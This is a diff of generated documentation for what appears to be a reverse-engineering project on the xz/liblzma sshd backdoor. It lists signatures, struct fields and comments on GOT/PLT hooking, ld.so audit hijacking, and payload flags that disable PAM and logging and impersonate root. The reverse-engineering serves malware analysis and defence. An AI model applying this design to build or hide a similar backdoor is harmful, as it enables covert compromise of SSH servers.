-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 3510 unsigned int num_pointers
-
-
-
-
-
-
-
-
-
-
- 3537 LogLevel level,
const char *fmt, ...);
-
-
-
-
-
-
-
-
-
-
-
-
- 3567 static_assert(
sizeof(global_ctx) == 0x8);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3318 u64 sshkey_digest_offset,
+ 3319 u64 signed_data_size,
+
+
+
+
+
+
+ 3337 BOOL skip_root_patch,
+
+ 3339 BOOL replace_monitor_reqtype,
+ 3340 int monitor_reqtype,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3379 enum SocketMode socket_direction
+
+
+
+
+
+
+
+
+
+
+
+ 3425 size_t *pOutPayloadSize,
+
+
+
+
+ 3438 size_t payload_size,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3533 unsigned int num_pointers
+
+
+
+
+
+
+
+
+
+
+ 3560 LogLevel level,
const char *fmt, ...);
+
+
+
+
+
+
+
+
+
+
+
+
+ 3590 static_assert(
sizeof(global_ctx) == 0x8);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
int RSA_public_decrypt(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding)
Definition: ssh_patch.c:37
-
+
-
-ptrdiff_t backdoor_init_stage2_got_offset
offset from the symbol backdoor_init_stage2() to the GOT
Definition: xzre.h:1872
-ptrdiff_t cpuid_random_symbol_got_offset
offset from the symbol cpuid_random_symbol to the GOT
Definition: xzre.h:1860
-u64 cpuid_got_index
index in the GOT for _cpuid()
Definition: xzre.h:1866
-data passed to functions that access the backdoor data
Definition: xzre.h:1534
-this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1580
-libc_imports_t libc_imports
functions imported from libc
Definition: xzre.h:1625
-string_references_t string_refs
information about resolved string references and the containing functions boundaries
Definition: xzre.h:1630
-struct link_map * main_map
this is for sshd itself
Definition: xzre.h:1585
-elf_info_t libc_info
ELF context for libc.so.
Definition: xzre.h:1615
-elf_info_t libcrypto_info
ELF context for libcrypto.so.
Definition: xzre.h:1620
-elf_info_t dynamic_linker_info
ELF context for ld.so.
Definition: xzre.h:1611
-elf_info_t main_info
this is for sshd itself
Definition: xzre.h:1605
-lzma_allocator * import_resolver
ELF import resolver (fake LZMA allocator)
Definition: xzre.h:1635
-struct link_map * dynamic_linker_map
this is for ld.so
Definition: xzre.h:1590
-
-
-
-
-
-void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA_plt() in sshd
Definition: xzre.h:1668
-void * RSA_get0_key_plt
address of the PLT for RSA_get0_key_plt() in sshd
Definition: xzre.h:1673
-void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1663
-
-ptrdiff_t tls_get_addr_plt_offset
offset from the symbol __tls_get_addr() to the PLT
Definition: xzre.h:1886
-ptrdiff_t tls_get_addr_random_symbol_got_offset
offset from the symbol tls_get_addr_random_symbol to the GOT
Definition: xzre.h:1892
-
-
-u8 flags2
see InstructionFlags2
Definition: xzre.h:654
-u8 flags
see InstructionFlags
Definition: xzre.h:650
-
-
-void * symbol_ptr
points to a symbol in memory will be used to find the GOT value
Definition: xzre.h:630
-u64 * frame_address
stores the value of __builtin_frame_address(0)-16
Definition: xzre.h:635
-
-array of ELF handles
Definition: xzre.h:1494
-elf_info_t * dynamic_linker
ELF context for ld.so.
Definition: xzre.h:1505
-elf_info_t * main
this is for sshd
Definition: xzre.h:1499
-
-u64 code_segment_size
page-aligned virtual size of the first executable ELF segment
Definition: xzre.h:808
-u64 first_vaddr
virtual address of the first program header
Definition: xzre.h:737
-u64 gnurelro_memsize
size of the GNU relro segment
Definition: xzre.h:783
-Elf64_Verdef * verdef
pointer to the EFL symbol versioning (from DT_VERDEF)
Definition: xzre.h:787
-u32 gnu_hash_last_bloom
last valid bloom value
Definition: xzre.h:825
-Elf64_Dyn * dyn
pointer to the ELF dynamic segment
Definition: xzre.h:749
-char * strtab
pointer to the ELF string table
Definition: xzre.h:757
-Elf64_Phdr * phdrs
pointer to the ELF program headers array in memory
Definition: xzre.h:741
-u32 gnu_hash_nbuckets
number of GNU hash buckets (from DT_GNU_HASH)
Definition: xzre.h:821
-Elf64_Ehdr * elfbase
pointed to the ELF base address in memory
Definition: xzre.h:733
-u64 e_phnum
copy of the ELF program header count from the ELF header
Definition: xzre.h:745
-Elf64_Rela * plt_relocs
pointer to the ELF PLT relocations table
Definition: xzre.h:765
-BOOL gnurelro_found
whether the loaded ELF contains PT_GNU_RELRO or not which specifies the location and size of a segmen...
Definition: xzre.h:775
-u64 code_segment_start
page-aligned virtual address of the first executable ELF segment
Definition: xzre.h:803
-u64 verdef_num
number of entries in the symbol versioning table
Definition: xzre.h:791
-u64 gnurelro_vaddr
location of the GNU relro segment
Definition: xzre.h:779
-Elf64_Sym * symtab
pointer to the ELF symbol table
Definition: xzre.h:761
-u64 dyn_num_entries
number of entries in the ELF dynamic segment
Definition: xzre.h:753
-u32 plt_relocs_num
number of entries in the PLT relocation table
Definition: xzre.h:769
-
-
-void * lzma_code_end
liblzma code segment end
Definition: xzre.h:1197
-libc_imports_t * libc_imports
pointer to the structure containing resolved libc functions
Definition: xzre.h:1140
-char * STR_ssh_rsa_cert_v01_openssh_com
location of sshd .rodata string "ssh-rsa-cert-v01@openssh.com"
Definition: xzre.h:1158
-BOOL disable_backdoor
This flag gets set to TRUE by run_backdoor_commands if any of the validity checks fail,...
Definition: xzre.h:1150
-imported_funcs_t * imported_funcs
pointer to the structure containing resolved OpenSSL functions
Definition: xzre.h:1136
-void * sshd_data_start
sshd data segment end
Definition: xzre.h:1178
-u32 num_shifted_bits
number of bits copied
Definition: xzre.h:1222
-void * sshd_code_start
sshd code segment start
Definition: xzre.h:1170
-void * sshd_data_end
sshd data segment start
Definition: xzre.h:1182
-char * STR_rsa_sha2_256
location of sshd .rodata string "rsa-sha2-256"
Definition: xzre.h:1162
-void * sshd_code_end
sshd code segment end
Definition: xzre.h:1174
-void * lzma_code_start
liblzma code segment start
Definition: xzre.h:1190
-
-void * return_address
the return address value of the caller obtained from *(u64 *)(caller_locals+24) since the entrypoint ...
Definition: xzre.h:607
-void * cpuid_fn
points to the real cpuid function
Definition: xzre.h:611
-void * got_ptr
points to the Global Offset Table
Definition: xzre.h:600
-ptrdiff_t got_offset
holds the offset of the symbol relative to the GOT. used to derive the got_ptr
Definition: xzre.h:616
-
-void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:924
-void * RSA_get0_key_plt
address of the PLT for RSA_get0_key() in sshd
Definition: xzre.h:934
-void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA() in sshd
Definition: xzre.h:929
-
-BOOL result
TRUE if the instruction sequence was found, FALSE otherwise.
Definition: xzre.h:1966
-u8 * offset_to_match
offset to match in the instruction displacement
Definition: xzre.h:1955
-u8 * start_addr
start of the code address range to search
Definition: xzre.h:1945
-u8 * end_addr
start of the code address range to search
Definition: xzre.h:1950
-u32 * output_register_to_match
register to match as the instruction output
Definition: xzre.h:1960
-
-
-the payload header. also used as Chacha IV
Definition: xzre.h:1723
-the contents of the RSA 'n' field
Definition: xzre.h:1755
-
-void * sshd_auditstate_bindflags_ptr
the location of sshd's auditstate::bindflags field
Definition: xzre.h:1300
-void * libcrypto_auditstate_bindflags_old_value
backup of the old value of libcrypto's libname_list::next field
Definition: xzre.h:1289
-void * libcrypto_auditstate_bindflags_ptr
the location of libcrypto's auditstate::bindflags field
Definition: xzre.h:1284
-u8 link_map_l_audit_any_plt_bitmask
bitmask that sets the link_map::l_audit_any_plt flag
Definition: xzre.h:1321
-unsigned int * _dl_naudit_ptr
location of ld.so's _rtld_global_ro::_dl_naudit_ptr field
Definition: xzre.h:1340
-void * sshd_auditstate_bindflags_old_value
backup of the old value of sshd's libname_list::next field
Definition: xzre.h:1305
-char ** libcrypto_l_name
location of libcrypto's link_map::l_name field
Definition: xzre.h:1357
-size_t _dl_audit_symbind_alt__size
code size of ld.so's _dl_audit_symbind_alt() function
Definition: xzre.h:1369
-struct audit_ifaces ** _dl_audit_ptr
location of ld.so's _rtld_global_ro::_dl_audit_ptr field
Definition: xzre.h:1331
-void * sshd_link_map_l_audit_any_plt_addr
location of sshd's link_map::l_audit_any_plt flag
Definition: xzre.h:1314
-
-Structure to hold internal state of the check being calculated.
Definition: xzre.h:265
-State for the internal SHA-256 implementation.
Definition: xzre.h:253
-uint64_t size
Size of the message excluding padding.
Definition: xzre.h:258
-
-struct monitor from openssh-portable
Definition: xzre.h:540
-
-struct sensitive_data from openssh-portable
Definition: xzre.h:552
-
-
-
-
-
-struct sshkey from openssh-portable
Definition: xzre.h:563
-
-void * func_start
the starting address of the function that referenced the string
Definition: xzre.h:1551
-EncodedStringId string_id
the string that was referenced, in encoded form
Definition: xzre.h:1546
-void * xref
location of the instruction that referenced the string
Definition: xzre.h:1559
-void * func_end
the ending address of the function that referenced the string
Definition: xzre.h:1555
-
-represents a shift register, which will shift a '1' into the secret data array. the low 3 bits repres...
Definition: xzre.h:1692
-u32 index
Definition: xzre.h:1694
-u32 byte_index
Definition: xzre.h:1699
-u32 bit_index
Definition: xzre.h:1697
-
+
+ptrdiff_t backdoor_init_stage2_got_offset
offset from the symbol backdoor_init_stage2() to the GOT
Definition: xzre.h:1886
+ptrdiff_t cpuid_random_symbol_got_offset
offset from the symbol cpuid_random_symbol to the GOT
Definition: xzre.h:1874
+u64 cpuid_got_index
index in the GOT for _cpuid()
Definition: xzre.h:1880
+data passed to functions that access the backdoor data
Definition: xzre.h:1548
+this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1594
+libc_imports_t libc_imports
functions imported from libc
Definition: xzre.h:1639
+string_references_t string_refs
information about resolved string references and the containing functions boundaries
Definition: xzre.h:1644
+struct link_map * main_map
this is for sshd itself
Definition: xzre.h:1599
+elf_info_t libc_info
ELF context for libc.so.
Definition: xzre.h:1629
+elf_info_t libcrypto_info
ELF context for libcrypto.so.
Definition: xzre.h:1634
+elf_info_t dynamic_linker_info
ELF context for ld.so.
Definition: xzre.h:1625
+elf_info_t main_info
this is for sshd itself
Definition: xzre.h:1619
+lzma_allocator * import_resolver
ELF import resolver (fake LZMA allocator)
Definition: xzre.h:1649
+struct link_map * dynamic_linker_map
this is for ld.so
Definition: xzre.h:1604
+
+
+
+
+
+void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA_plt() in sshd
Definition: xzre.h:1682
+void * RSA_get0_key_plt
address of the PLT for RSA_get0_key_plt() in sshd
Definition: xzre.h:1687
+void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1677
+
+ptrdiff_t tls_get_addr_plt_offset
offset from the symbol __tls_get_addr() to the PLT
Definition: xzre.h:1900
+ptrdiff_t tls_get_addr_random_symbol_got_offset
offset from the symbol tls_get_addr_random_symbol to the GOT
Definition: xzre.h:1906
+
+
+u8 flags2
see InstructionFlags2
Definition: xzre.h:668
+u8 flags
see InstructionFlags
Definition: xzre.h:664
+
+
+void * symbol_ptr
points to a symbol in memory will be used to find the GOT value
Definition: xzre.h:644
+u64 * frame_address
stores the value of __builtin_frame_address(0)-16
Definition: xzre.h:649
+
+array of ELF handles
Definition: xzre.h:1508
+elf_info_t * dynamic_linker
ELF context for ld.so.
Definition: xzre.h:1519
+elf_info_t * main
this is for sshd
Definition: xzre.h:1513
+
+u64 code_segment_size
page-aligned virtual size of the first executable ELF segment
Definition: xzre.h:822
+u64 first_vaddr
virtual address of the first program header
Definition: xzre.h:751
+u64 gnurelro_memsize
size of the GNU relro segment
Definition: xzre.h:797
+Elf64_Verdef * verdef
pointer to the EFL symbol versioning (from DT_VERDEF)
Definition: xzre.h:801
+u32 gnu_hash_last_bloom
last valid bloom value
Definition: xzre.h:839
+Elf64_Dyn * dyn
pointer to the ELF dynamic segment
Definition: xzre.h:763
+char * strtab
pointer to the ELF string table
Definition: xzre.h:771
+Elf64_Phdr * phdrs
pointer to the ELF program headers array in memory
Definition: xzre.h:755
+u32 gnu_hash_nbuckets
number of GNU hash buckets (from DT_GNU_HASH)
Definition: xzre.h:835
+Elf64_Ehdr * elfbase
pointed to the ELF base address in memory
Definition: xzre.h:747
+u64 e_phnum
copy of the ELF program header count from the ELF header
Definition: xzre.h:759
+Elf64_Rela * plt_relocs
pointer to the ELF PLT relocations table
Definition: xzre.h:779
+BOOL gnurelro_found
whether the loaded ELF contains PT_GNU_RELRO or not which specifies the location and size of a segmen...
Definition: xzre.h:789
+u64 code_segment_start
page-aligned virtual address of the first executable ELF segment
Definition: xzre.h:817
+u64 verdef_num
number of entries in the symbol versioning table
Definition: xzre.h:805
+u64 gnurelro_vaddr
location of the GNU relro segment
Definition: xzre.h:793
+Elf64_Sym * symtab
pointer to the ELF symbol table
Definition: xzre.h:775
+u64 dyn_num_entries
number of entries in the ELF dynamic segment
Definition: xzre.h:767
+u32 plt_relocs_num
number of entries in the PLT relocation table
Definition: xzre.h:783
+
+
+void * lzma_code_end
liblzma code segment end
Definition: xzre.h:1211
+libc_imports_t * libc_imports
pointer to the structure containing resolved libc functions
Definition: xzre.h:1154
+char * STR_ssh_rsa_cert_v01_openssh_com
location of sshd .rodata string "ssh-rsa-cert-v01@openssh.com"
Definition: xzre.h:1172
+BOOL disable_backdoor
This flag gets set to TRUE by run_backdoor_commands if any of the validity checks fail,...
Definition: xzre.h:1164
+imported_funcs_t * imported_funcs
pointer to the structure containing resolved OpenSSL functions
Definition: xzre.h:1150
+void * sshd_data_start
sshd data segment end
Definition: xzre.h:1192
+u32 num_shifted_bits
number of bits copied
Definition: xzre.h:1236
+void * sshd_code_start
sshd code segment start
Definition: xzre.h:1184
+void * sshd_data_end
sshd data segment start
Definition: xzre.h:1196
+char * STR_rsa_sha2_256
location of sshd .rodata string "rsa-sha2-256"
Definition: xzre.h:1176
+void * sshd_code_end
sshd code segment end
Definition: xzre.h:1188
+void * lzma_code_start
liblzma code segment start
Definition: xzre.h:1204
+
+
+void * return_address
the return address value of the caller obtained from *(u64 *)(caller_locals+24) since the entrypoint ...
Definition: xzre.h:621
+void * cpuid_fn
points to the real cpuid function
Definition: xzre.h:625
+void * got_ptr
points to the Global Offset Table
Definition: xzre.h:614
+ptrdiff_t got_offset
holds the offset of the symbol relative to the GOT. used to derive the got_ptr
Definition: xzre.h:630
+
+void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:938
+void * RSA_get0_key_plt
address of the PLT for RSA_get0_key() in sshd
Definition: xzre.h:948
+void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA() in sshd
Definition: xzre.h:943
+
+BOOL result
TRUE if the instruction sequence was found, FALSE otherwise.
Definition: xzre.h:1980
+u8 * offset_to_match
offset to match in the instruction displacement
Definition: xzre.h:1969
+u8 * start_addr
start of the code address range to search
Definition: xzre.h:1959
+u8 * end_addr
start of the code address range to search
Definition: xzre.h:1964
+u32 * output_register_to_match
register to match as the instruction output
Definition: xzre.h:1974
+
+
+the payload header. also used as Chacha IV
Definition: xzre.h:1737
+the contents of the RSA 'n' field
Definition: xzre.h:1769
+
+void * sshd_auditstate_bindflags_ptr
the location of sshd's auditstate::bindflags field
Definition: xzre.h:1314
+void * libcrypto_auditstate_bindflags_old_value
backup of the old value of libcrypto's libname_list::next field
Definition: xzre.h:1303
+void * libcrypto_auditstate_bindflags_ptr
the location of libcrypto's auditstate::bindflags field
Definition: xzre.h:1298
+u8 link_map_l_audit_any_plt_bitmask
bitmask that sets the link_map::l_audit_any_plt flag
Definition: xzre.h:1335
+unsigned int * _dl_naudit_ptr
location of ld.so's _rtld_global_ro::_dl_naudit_ptr field
Definition: xzre.h:1354
+void * sshd_auditstate_bindflags_old_value
backup of the old value of sshd's libname_list::next field
Definition: xzre.h:1319
+char ** libcrypto_l_name
location of libcrypto's link_map::l_name field
Definition: xzre.h:1371
+size_t _dl_audit_symbind_alt__size
code size of ld.so's _dl_audit_symbind_alt() function
Definition: xzre.h:1383
+struct audit_ifaces ** _dl_audit_ptr
location of ld.so's _rtld_global_ro::_dl_audit_ptr field
Definition: xzre.h:1345
+void * sshd_link_map_l_audit_any_plt_addr
location of sshd's link_map::l_audit_any_plt flag
Definition: xzre.h:1328
+
+Structure to hold internal state of the check being calculated.
Definition: xzre.h:279
+State for the internal SHA-256 implementation.
Definition: xzre.h:267
+uint64_t size
Size of the message excluding padding.
Definition: xzre.h:272
+
+struct monitor from openssh-portable
Definition: xzre.h:554
+
+struct sensitive_data from openssh-portable
Definition: xzre.h:566
+
+
+
+
+
+struct sshkey from openssh-portable
Definition: xzre.h:577
+
+void * func_start
the starting address of the function that referenced the string
Definition: xzre.h:1565
+EncodedStringId string_id
the string that was referenced, in encoded form
Definition: xzre.h:1560
+void * xref
location of the instruction that referenced the string
Definition: xzre.h:1573
+void * func_end
the ending address of the function that referenced the string
Definition: xzre.h:1569
+
+represents a shift register, which will shift a '1' into the secret data array. the low 3 bits repres...
Definition: xzre.h:1706
+u32 index
Definition: xzre.h:1708
+u32 byte_index
Definition: xzre.h:1713
+u32 bit_index
Definition: xzre.h:1711
+
BOOL elf_find_function_pointer(StringXrefId xref_id, void **pOutCodeStart, void **pOutCodeEnd, void **pOutFptrAddr, elf_info_t *elf_info, string_references_t *xrefs, global_context_t *ctx)
this function searches for a function pointer, pointing to a function designated by the given xref_id
fake_lzma_allocator_t * get_lzma_allocator_address(void)
gets the address of the fake LZMA allocator
BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info)
Parses the given in-memory ELF file into elf_info.
@@ -2160,6 +2176,7 @@
BOOL is_payload_message(u8 *sshbuf_data, size_t sshbuf_size, size_t *pOutPayloadSize, global_context_t *ctx)
checks if the given sshbuf buffer contains a backdoor payload message
void * dummy_tls_get_addr(tls_index *ti)
a dummy function that calls __tls_get_addr, to make sure its GOT slot doesn't get removed by compiler...
BOOL resolve_libc_imports(struct link_map *libc, elf_info_t *libc_info, libc_imports_t *imports)
parses the libc ELF from the supplied link map, and resolves its imports
+struct gnu_hash_table gnu_hash_table_t
BOOL find_link_map_l_name(backdoor_data_handle_t *data_handle, ptrdiff_t *libname_offset, backdoor_hooks_data_t *hooks, imported_funcs_t *imported_funcs)
Find struct link_map offsets required to modify ld.so's private struct auditstate state.
BOOL find_dl_naudit(elf_info_t *dynamic_linker_elf, elf_info_t *libcrypto_elf, backdoor_hooks_data_t *hooks, imported_funcs_t *imported_funcs)
Find __rtld_global_ro offsets required to modify ld.so's private struct audit_ifaces state.
void * elf_get_code_segment(elf_info_t *elf_info, u64 *pSize)
Obtains the address and size of the first executable segment in the given ELF file.
@@ -2170,8 +2187,8 @@
BOOL process_shared_libraries_map(struct link_map *r_map, backdoor_shared_libraries_data_t *data)
scans loaded libraries to identify interesting libraries and populate related data
BOOL backdoor_setup(backdoor_setup_params_t *params)
the backdoor main method that installs the backdoor_symbind64() callback
void * elf_get_reloc_symbol(elf_info_t *elf_info, Elf64_Rela *relocs, u32 num_relocs, u64 reloc_type, EncodedStringId encoded_string_id)
Searches the ELF relocations for a symbol having name encoded_string id and relocation of type reloc_...
-BOOL elf_contains_vaddr(elf_info_t *elf_info, u64 vaddr, u64 size, u32 p_flags)
checks if given ELF file contains the range [vaddr, vaddr+size) in a segment with the specified memor...
BOOL elf_contains_vaddr_relro(elf_info_t *elf_info, u64 vaddr, u64 size, u32 p_flags)
checks if given ELF file contains the range [vaddr, vaddr+size) in the gnurelro segment
+BOOL elf_contains_vaddr(elf_info_t *elf_info, void *vaddr, u64 size, u32 p_flags)
checks if given ELF file contains the range [vaddr, vaddr+size) in a segment with the specified memor...
BOOL find_link_map_l_audit_any_plt(backdoor_data_handle_t *data, ptrdiff_t libname_offset, backdoor_hooks_data_t *hooks, imported_funcs_t *imported_funcs)
Find struct link_map offset required to modify ld.so's private link_map::l_audit_any_plt state.
BOOL secret_data_append_item(secret_data_shift_cursor_t shift_cursor, unsigned operation_index, unsigned shift_count, int index, u8 *code)
Calls secret_data_append_singleton, if flags are non-zero.
const u64 tls_get_addr_random_symbol
a bogus global variable that is used by the backdoor to generate an extra symbol
@@ -2179,14 +2196,14 @@
backdoor_hooks_data_t * hooks_data_addr
location of backdoor_hooks_data_t
BOOL sha256(const void *data, size_t count, u8 *mdBuf, u64 mdBufSize, imported_funcs_t *funcs)
computes the SHA256 hash of the supplied data
BOOL find_mov_instruction(u8 *code_start, u8 *code_end, BOOL is_64bit_operand, BOOL load_flag, dasm_ctx_t *dctx)
finds a MOV instruction.
-ElfId
Definition: xzre.h:357
-@ X_ELF_MAIN
this is for sshd itself
Definition: xzre.h:362
-CommandFlags2
Definition: xzre.h:1783
-@ CMDF_CHANGE_MONITOR_REQ
if set, changes the monitor_reqtype field from MONITOR_REQ_AUTHPASSWORD to what's contained in the pa...
Definition: xzre.h:1793
-@ CMDF_PSELECT
executes pselect, then exit not compatible with command 2
Definition: xzre.h:1807
-@ CMDF_SOCKFD_MASK
(0111_1000 >> 3) & 0xF when CMDF_SOCKET_INDEX is specified
Definition: xzre.h:1814
-@ CMDF_IMPERSONATE
if set, impersonate a user (info from payload) if not set, impersonate root
Definition: xzre.h:1788
-@ CMDF_CONTINUATION
more data available in the following packet not compatible with command 3
Definition: xzre.h:1802
+ElfId
Definition: xzre.h:371
+@ X_ELF_MAIN
this is for sshd itself
Definition: xzre.h:376
+CommandFlags2
Definition: xzre.h:1797
+@ CMDF_CHANGE_MONITOR_REQ
if set, changes the monitor_reqtype field from MONITOR_REQ_AUTHPASSWORD to what's contained in the pa...
Definition: xzre.h:1807
+@ CMDF_PSELECT
executes pselect, then exit not compatible with command 2
Definition: xzre.h:1821
+@ CMDF_SOCKFD_MASK
(0111_1000 >> 3) & 0xF when CMDF_SOCKET_INDEX is specified
Definition: xzre.h:1828
+@ CMDF_IMPERSONATE
if set, impersonate a user (info from payload) if not set, impersonate root
Definition: xzre.h:1802
+@ CMDF_CONTINUATION
more data available in the following packet not compatible with command 3
Definition: xzre.h:1816
struct key_payload_hdr key_payload_hdr_t
the payload header. also used as Chacha IV
BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx)
finds a call instruction
const elf_functions_t elf_functions
special .data.rel.ro section that contains addresses to various functions
@@ -2204,12 +2221,12 @@
BOOL is_range_mapped(u8 *addr, u64 length, global_context_t *ctx)
verify if a memory range is mapped
int sshd_get_sensitive_data_score_in_do_child(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if do_child accesses sensitive_data or not
BOOL sshd_find_sensitive_data(elf_info_t *sshd, elf_info_t *libcrypto, string_references_t *refs, imported_funcs_t *funcs, global_context_t *ctx)
locates sensitive_data within sshd, and resolves some additional libcrypto functions
-CommandFlags1
Definition: xzre.h:1760
-@ CMDF_SETLOGMASK
disable all logging by setting mask 0x80000000
Definition: xzre.h:1768
-@ CMDF_NO_EXTENDED_SIZE
if set, the union size field must be 0
Definition: xzre.h:1780
-@ CMDF_SOCKET_INDEX
custom monitor socket index override
Definition: xzre.h:1772
-@ CMDF_DISABLE_PAM
if set, disables PAM authentication
Definition: xzre.h:1776
-@ CMDF_8BYTES
the data block contains 8 additional bytes
Definition: xzre.h:1764
+CommandFlags1
Definition: xzre.h:1774
+@ CMDF_SETLOGMASK
disable all logging by setting mask 0x80000000
Definition: xzre.h:1782
+@ CMDF_NO_EXTENDED_SIZE
if set, the union size field must be 0
Definition: xzre.h:1794
+@ CMDF_SOCKET_INDEX
custom monitor socket index override
Definition: xzre.h:1786
+@ CMDF_DISABLE_PAM
if set, disables PAM authentication
Definition: xzre.h:1790
+@ CMDF_8BYTES
the data block contains 8 additional bytes
Definition: xzre.h:1778
uintptr_t backdoor_symbind64(Elf64_Sym *sym, unsigned int ndx, uptr *refcook, uptr *defcook, unsigned int flags, const char *symname)
the backdoored symbind64 installed in GLRO(dl_audit)
BOOL find_instruction_with_mem_operand(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
finds a LEA or MOV instruction with an immediate memory operand
EncodedStringId get_string_id(const char *string_begin, const char *string_end)
Get the.
@@ -2225,7 +2242,7 @@
BOOL find_lea_instruction_with_mem_operand(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
finds a LEA instruction with an immediate memory operand
const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts
special .rodata section that contains _cpuid() related GOT offsets
BOOL sshd_get_sensitive_data_address_via_krb5ccname(u8 *data_start, u8 *data_end, u8 *code_start, u8 *code_end, void **sensitive_data_out, elf_info_t *elf)
finds the address of sensitive_data.host_keys in sshd by using getenv( STR_KRB5CCNAME )
-struct backdoor_data backdoor_data_t
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1529
+struct backdoor_data backdoor_data_t
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1543
u8 * find_string_reference(u8 *code_start, u8 *code_end, const char *str)
finds an instruction that references the given string
int sshd_get_sensitive_data_score(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if accesses sensitive_data or not
BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx)
obtains a decrypted copy of the secret data
@@ -2257,11 +2274,12 @@
const ptrdiff_t fake_lzma_allocator_offset
special .data.rel.ro section that contains the offset to fake_lzma_allocator_struct
struct key_payload key_payload_t
the contents of the RSA 'n' field
const backdoor_tls_get_addr_reloc_consts_t tls_get_addr_reloc_consts
special .rodata section that contains __tls_get_addr() related GOT offsets
+BOOL is_gnu_relro(Elf64_Word p_type, u32 addend)
checks if the provided identifiers represent a PT_GNU_RELRO
u32 resolver_call_count
counts the number of times the IFUNC resolver is called
int init_hook_functions(backdoor_hooks_ctx_t *funcs)
Initializes the structure with hooks-related data.
-CommandFlags3
Definition: xzre.h:1817
-@ CMDF_SOCKET_NUM
5 bits used to store number of sockets (in cmd3)
Definition: xzre.h:1821
-@ CMDF_MONITOR_REQ_VAL
6 bits used to store the monitor req / 2 (might be unused)
Definition: xzre.h:1825
+CommandFlags3
Definition: xzre.h:1831
+@ CMDF_SOCKET_NUM
5 bits used to store number of sockets (in cmd3)
Definition: xzre.h:1835
+@ CMDF_MONITOR_REQ_VAL
6 bits used to store the monitor req / 2 (might be unused)
Definition: xzre.h:1839
ptrdiff_t init_elf_entry_ctx(elf_entry_ctx_t *ctx)
initialises the elf_entry_ctx_t
const u64 cpuid_random_symbol
a bogus global variable that is used by the backdoor to generate an extra symbol
void * elf_get_got_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id)
Gets the GOT symbol with name encoded_string_id from the parsed ELF file.